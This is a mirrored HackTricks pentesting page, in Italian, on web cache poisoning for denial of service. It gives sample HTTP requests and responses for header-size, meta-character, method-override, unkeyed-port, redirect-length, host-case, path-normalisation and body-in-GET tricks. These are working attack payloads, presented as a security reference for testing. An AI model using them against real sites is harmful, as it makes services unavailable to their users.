mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
126 lines
4.3 KiB
Markdown
126 lines
4.3 KiB
Markdown
# Cache Poisoning to DoS
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
> [!CAUTION]
|
|
> In questa pagina puoi trovare diverse variazioni per cercare di far **rispondere il server web con errori** a richieste che sono **valide per i server di cache**
|
|
|
|
- **HTTP Header Oversize (HHO)**
|
|
|
|
Invia una richiesta con una dimensione dell'intestazione maggiore di quella supportata dal server web ma inferiore a quella supportata dal server di cache. Il server web risponderà con una risposta 400 che potrebbe essere memorizzata nella cache:
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Oversize-Hedear:Big-Value-000000000000000
|
|
```
|
|
- **HTTP Meta Character (HMC) & Valori inaspettati**
|
|
|
|
Invia un'intestazione che contenga alcuni **caratteri meta dannosi** come e . Affinché l'attacco funzioni, devi prima eludere la cache.
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Meta-Hedear:Bad Chars\n \r
|
|
```
|
|
Un'intestazione configurata male potrebbe essere semplicemente `\:` come intestazione.
|
|
|
|
Questo potrebbe funzionare anche se vengono inviati valori inaspettati, come un Content-Type: inaspettato.
|
|
```
|
|
GET /anas/repos HTTP/2
|
|
Host: redacted.com
|
|
Content-Type: HelloWorld
|
|
```
|
|
- **Intestazione non chiave**
|
|
|
|
Alcuni siti web restituiranno un codice di stato di errore se **vedono alcune intestazioni specifiche** nella richiesta, come con l'intestazione _X-Amz-Website-Location-Redirect: someThing_:
|
|
```
|
|
GET /app.js HTTP/2
|
|
Host: redacted.com
|
|
X-Amz-Website-Location-Redirect: someThing
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
|
|
Invalid Header
|
|
```
|
|
- **Attacco di Override del Metodo HTTP (HMO)**
|
|
|
|
Se il server supporta la modifica del metodo HTTP con intestazioni come `X-HTTP-Method-Override`, `X-HTTP-Method` o `X-Method-Override`. È possibile richiedere una pagina valida cambiando il metodo in modo che il server non lo supporti, quindi una risposta errata viene memorizzata nella cache:
|
|
```
|
|
GET /blogs HTTP/1.1
|
|
Host: redacted.com
|
|
HTTP-Method-Override: POST
|
|
```
|
|
- **Porta non chiave**
|
|
|
|
Se la porta nell'intestazione Host è riflessa nella risposta e non è inclusa nella chiave di cache, è possibile reindirizzarla a una porta non utilizzata:
|
|
```
|
|
GET /index.html HTTP/1.1
|
|
Host: redacted.com:1
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: https://redacted.com:1/en/index.html
|
|
Cache: miss
|
|
```
|
|
- **Long Redirect DoS**
|
|
|
|
Come nel seguente esempio, x non viene memorizzato nella cache, quindi un attaccante potrebbe sfruttare il comportamento della risposta di reindirizzamento per far sì che il reindirizzamento invii un URL così grande da restituire un errore. Quindi, le persone che cercano di accedere all'URL senza la chiave x non memorizzata nella cache riceveranno la risposta di errore:
|
|
```
|
|
GET /login?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: /login/?x=veryLongUrl
|
|
Cache: hit
|
|
|
|
GET /login/?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 414 Request-URI Too Large
|
|
CF-Cache-Status: miss
|
|
```
|
|
- **Normalizzazione del caso dell'intestazione host**
|
|
|
|
L'intestazione host dovrebbe essere insensibile al caso, ma alcuni siti web si aspettano che sia in minuscolo restituendo un errore se non lo è:
|
|
```
|
|
GET /img.png HTTP/1.1
|
|
Host: Cdn.redacted.com
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cache:miss
|
|
|
|
Not Found
|
|
```
|
|
- **Normalizzazione del percorso**
|
|
|
|
Alcune pagine restituiranno codici di errore inviando dati URLencode nel percorso, tuttavia, il server cache URLdecode il percorso e memorizza la risposta per il percorso URLdecoded:
|
|
```
|
|
GET /api/v1%2e1/user HTTP/1.1
|
|
Host: redacted.com
|
|
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cach:miss
|
|
|
|
Not Found
|
|
```
|
|
- **Fat Get**
|
|
|
|
Alcuni server di cache, come Cloudflare, o server web, bloccano le richieste GET con un corpo, quindi questo potrebbe essere sfruttato per memorizzare nella cache una risposta non valida:
|
|
```
|
|
GET /index.html HTTP/2
|
|
Host: redacted.com
|
|
Content-Length: 3
|
|
|
|
xyz
|
|
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
```
|
|
## Riferimenti
|
|
|
|
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
|
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|